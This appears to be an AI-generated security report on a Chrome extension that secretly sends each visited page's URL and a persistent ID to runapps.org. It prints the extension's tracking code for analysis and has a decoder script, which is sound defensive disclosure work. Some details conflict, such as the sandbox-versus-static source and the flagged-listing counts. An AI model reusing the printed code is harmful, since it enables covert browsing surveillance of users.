Is Image Downloader Professional Premium safe?

High risk

Image Downloader Professional Premium sends the full URL of every web page you open to runapps.org.

A background script listens for tab activation and page loads. For each http(s) page it hex-encodes the full URL, including path and query, and requests it from runapps.org along with a persistent random ID stored in the browser. This happens without any user action.

Strong link to a flagged operator: 4 of the 14 other listings from the same operator are rated high or critical for malicious behaviour. Flagged: Music Downloader Premium (high), Free VPN Premium for Chrome - OnVPN (high), LibreOffice Impress online (high).

RunAppsv1.1.4Chrome Web Store
72Risk
Who publishes it

OD Group - 14 other listings from the same operator, 7 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
RunApps
Declared legal entity
OD Group

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

runapps.org
Also called by 2 other listings, including Desktop for Tiktok online

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Tab URLs and a persistent ID are sent to runapps.org on every page you visit

Code analysis shows the extension sends the full address of each web page you open, hex-encoded with a stored random ID, to runapps.org.

No user action is involved.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You open or switch to any http(s) web page.

The extension did this

The extension sends that page's URL and a persistent ID to runapps.org.

Values in the request to runapps.org
  • Page address
    68747470733a2f2f6578616d706c652e636f6d2f746573743f713d31

    Lets the server see which page you are on, including path and query.

  • Persistent user ID
    k3x9qz1mfa

    Ties every visit to one install over time.

  • Encoding flag
    hex=1

    Tells the server the address is hex-encoded.

The code that does this

Tab listener and URL filter

Readable version

Listener registration

runapps.js
function iniweb() {    this.init = function () {           chrome.tabs.onActivated.addListener(function(activeInfo) {                airalli = activeInfo.tabId;                gestionarurlforv(airalli);        });        chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {                    gestionarurlforv(tabId);        });    };}

URL filter

runapps.js
function gestionarurlforv(tabId) {      chrome.tabs.get(tabId, function(tab) {                      if ( ( tab.url.indexOf("runapps") == -1 ) && ( tab.url.indexOf("http") !== -1 ) && ( lasalli != tab.url) )  {                    qwertyu =  tab.url;                    trtrtrtr = "";                    trtrtrtr =   qwertyu;                      verurlv(trtrtrtr);                    lasalli = tab.url;            }      });}
The code that does this

Request construction and hex encoding

Readable version

verurlv

runapps.js
async function verurlv(urly) {            var rappsfc = { usrnmx: null,  rappsonln: null };    var usrnmx = "";    var rappsonln = "";    const ra_ky = "ra_ky";    let storageResult = await chrome.storage.local.get([ra_ky]);    if (ra_ky in storageResult) {            rappsfc = storageResult[ra_ky]    }    if ( rappsfc.usrnmx ) {        usrnmx = rappsfc.usrnmx;    }    else {        usrnmx = "" + rans10(10) + "".toLowerCase();        rappsfc.usrnmx = usrnmx;    }        rappsonln = "1";    rappsfc.rappsonln = "1";    var stox = {};    stox[ra_ky] = rappsfc;    await chrome.storage.local.set(stox);        var date = new Date();                    var un = usrnmx;         //console.log('https://www.runapps.org/app/dock-imagedownloader.php?l=' + bhex(urly) + '&hex=1&u=' + un);      await fetch('https://www.runapps.org/app/dock-imagedownloader.php?l=' + bhex(urly) + '&hex=1&u=' + un);                    }

bhex

runapps.js
function bhex (bin){  var i = 0, l = bin.length, chr, hex = '';  for (i; i < l; ++i)  {    chr = bin.charCodeAt(i).toString(16)    hex += chr.length < 2 ? '0' + chr : chr  }  return hex}
Reproduce it yourself

Decodes the hex l parameter from a runapps.org request back into the page URL.

Requires
  • Node.js 18+
runapps-decode.js · js
// Decodes the hex-encoded "l" parameter sent to runapps.org.const q = process.argv[2];const m = q.match(/[?&]l=([0-9a-f]+)/);if (!m) { console.error('no l= parameter'); process.exit(1); }console.log(Buffer.from(m[1], 'hex').toString('utf8'));
How to run it
  1. 1node runapps-decode.js 'https://www.runapps.org/app/dock-imagedownloader.php?l=68747470733a2f2f6578616d706c652e636f6d2f746573743f713d31&hex=1&u=k3x9qz1mfa'
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.1.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

Where it sends data

Destinations our analysis observed Image Downloader Professional Premium contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • www.runapps.org

    Image Downloader Professional Premium sends data to www.runapps.org. 16 other extensions we have analysed send data here.

Updated 15 October 2026ljfifjfjfeiieghmpidimlkblnjdomjh